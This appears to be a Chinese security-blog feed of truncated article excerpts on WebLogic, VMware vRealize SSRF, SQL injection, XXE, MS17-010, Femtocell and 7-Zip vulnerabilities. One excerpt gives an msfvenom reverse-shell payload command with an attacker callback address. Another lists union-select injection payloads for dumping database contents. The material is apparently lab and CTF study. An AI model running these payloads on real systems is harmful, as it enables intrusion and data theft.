weblogic漏洞之前我也复现的差不多了。除了ssrf那篇没有复现出来，大部分都做出来了。 那么到最后还是总结一下。不过我看到以为大师写的非常不错。 这里直接上链接。大师写的非常详细。 https://www.cnblogs.com/-mo-/p/11503707.html
影响版本 VMware vRealize Operations 8.3.0、8.2.0、8.1.1、8.1.0、7.5.0VMware Cloud Foundation 4.x、3.xvRealize Suite Lifecycle Manager 8.x 环境搭建 下载地址 https://my.vmware.com/group/vmware/patch#search下载完之后双击。然后导入虚拟机进行访问 https://192.168.1.100/ 设置为新环境后即可 漏洞复现 构建数据包并发送 POST /casa/nodes/thumbprints HTTP/1.1 Host: 192.168.1.100 Content-Type: appli...
burp插件目录: Scanners-扫描类 Custom Features-自定义功能类 Beautifiers and Decoders-美化和解码相关 Cloud Security-云安全,主要是AWS这类真云 Scripting-脚本相关 OAuth and SSO-开放授权(OAuth)和单点登录(SSO)相关安全检测插件 Information Gathering-信息收集 Vulnerability Specific Extensions-各个类型漏洞相关插件Cross-site scripting-跨站脚本 SSRF-SSRF(服务器端请求伪造) Broken Access Control-越权访问（Broke...
try {Statement statement = connection.createStatement( … );ResultSet results = statement.executeQuery( query );}防止通过参数传不安全值，必须使用参数化的预编译查询语句 String custname = request.getParameter("customerName"); // This should REALLY be validated too// perform input validation to detect attacksString query = "SELECT account_balance FROM user_data WHERE user_name = ? ";PreparedStatement...
一、漏洞分类 （1）按照攻击对象分类： 操作系统：Linux. windows. IOS. Andriod 网络设备：路由器 交换机 防火墙 无线网络设备 Web：PHP. ASPX. JSP. HTML. JS. 数据库 … 服务类软件：FTP. SMTP. SSH. POP3. AD. SMB. RDP. 其他自编服务 物联网设备：PLC. RFID. GPS. 基站 打印机 摄像头 智能探测器（手表） （2）按照攻击方法分类 本地攻击（缓冲区溢出）：本地命令执行（应用） 本地命令执行(文件） 权限提升 远程代码执行（端...
《Web漏洞防护》读书笔记——第6章，XXE防护 XXE介绍 XXE漏洞是指由于在XML文件中注入了外部实体而造成的攻击。 XML介绍：XML是一种用于标记电子文件并使其具有结构性的可扩展标记语言。 由以下几个元素所组成： XML声明，DTD（跟在XML声明后，程序既可以在内部声明DTD，也可以引用外部的DTD文件），实体（需要在DTD内进行声明，分为内部声明实体、外部引用实体），根元素（XML文件有且仅有一个根元素，可以自定义根元素），元素（...
手动判断注入点 判断字段 判断表名union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database()) 判断列名 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name=flag) image.png判断值 union select 1,2,3,(select group_concat(flag) from flag) 一些感想 整个过程与普通的sql注入无异，没什么...
安全在互联网行业，是一个对专业性较强，且敏感的一个领域，所谓"一念成佛，一念入魔"，安全技术利用得当，可以为你的产品、网站更好的保驾护航，而如果心术不正，利用安全漏洞去做一些未法牟利，则容易造成承担不必要的违法责任。 在日常很容易被大家忽略的一点，在非授权的情况下，对网站进行渗透攻击测试，也是属于非合规操作，是触及法律法规的。因此对于大家在学习安全测试过程中，通常建议是直接在本地直接搭建安全演练靶场环...
1. 概述 SQL注入（SQL Injectioin）漏洞是注入漏洞中危害性最高的漏洞之一。形成的原因主要是在数据交互过程中，前端的数据传入后端时，没有作严格的验证过滤导致传入的“数据”拼接到了SQL语句中。被数据库当作SQL语句的一部分执行，从而使得数据面临被脱库、恶意破坏篡改甚至造成整个系统权限沦陷等一系列危害。 注入攻击的本质是把用户输入的数据当作代码执行。造成注入攻击有两个关键条件： ①用户能够控制数据输入 ②原本程序...
$_REQUEST[‘id‘] = intval($_REQUEST[‘id‘]);2. /admin/shophelp.php 大概在第81、105、133、155行，4个地方修复方式都一样admin_priv(‘shophelp_manage‘);修改为admin_priv(‘shophelp_manage‘); $_POST[‘id‘] = intval($_POST[‘id‘]);3. /api/client/includes/lib_api.php 大概在第246行，API_UserLogin()函数中/* SQL注入过滤 */ if (get_magic_quotes_gpc()) { $post[‘UserId‘]=$post[‘UserId‘] } el...
MAS是中国移动的短信代理网关（平台）。MAS是Mobile Agent Server的简称。目前多个政府部门、国有大型企业部门、运营商、金融部门都采用该平台。MAS2.0是中国新一代的代理网关系统。漏洞有可能会泄露使用该平台的单位手机通信录，利用mas发送欺骗短信。详细说明：一、产品说明MAS是中国移动的短信代理网关（平台）。MAS是Mobile Agent Server的简称。目前多个政府部门、国有大型企业部门、运营商、金融部门都采用该平台。MAS2.0是中...
一、环境搭建：IP地址系统信息备注角色192.168.0.244win7旗舰版（未安装MS17-010补丁版本）需开启445端口及SMB协议靶机192.168.0.105win7旗舰版需安装python2.6.6&pywin32攻击机192.168.0.245kali linux 2.0生成reverse shell的dll文件辅助机二、攻击流程： 攻击流程图解： 1.在kali linux中利用metasploit生成用于建立反向链接的dll文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.245 LPORT=4444 -...
阿里移动安全团队与中国泰尔实验室无线技术部的通信专家们一起，联合对国内运营商某型Femtocell基站进行了安全分析，发现多枚重大漏洞，可导致用户的短信、通话、数据流量被窃听。恶意攻击者可以在免费申领一台Femtocell设备之后，迅速地将其改造成伪基站短信群发器和流量嗅探器，影响公众的通信安全。家庭基站(Femtocell，又称飞蜂窝，Femto本意是10的-15次方)是运营商为了解决室内覆盖问题而推出的基于IP网络的微型基站设备，通常...
近日，非营利组织网络安全中心（Center for Internet Security，简称CIS）近日发现，在7-Zip中发现了一个漏洞，该漏洞可能允许任意代码执行。7-Zip是一款免费的开源压缩软件。成功利用此漏洞可能允许任意代码执行。根据与用户关联的特权，***者可以安装程序， 查看，更改或删除数据；或创建具有完整用户权限的新帐户。其帐户被配置为拥有较少用户权限的用户受影响的程度可能低于具有管理用户权限的用户。受影响的版本：18.05之前的...
将符号执行应用于任意真实程序很难，你通常必须对执行环境建模，并找到有效的方法来应对不确定性和路径爆炸。动态符号执行的想法是在任何输入上执行一个软件，同时探索所有可能的执行路径，而无需指定具体值。具体示例如下，其中输入x未知，即符号：符号执行在所有三个执行路径(x < 0, x > 100, 0 < = x < =100)并生成三个具体的测试用例：x=-1, x=101和x=23在击中断言之后。 你不再需要手动编写测试用例，你会沿执行路径捕获断言失...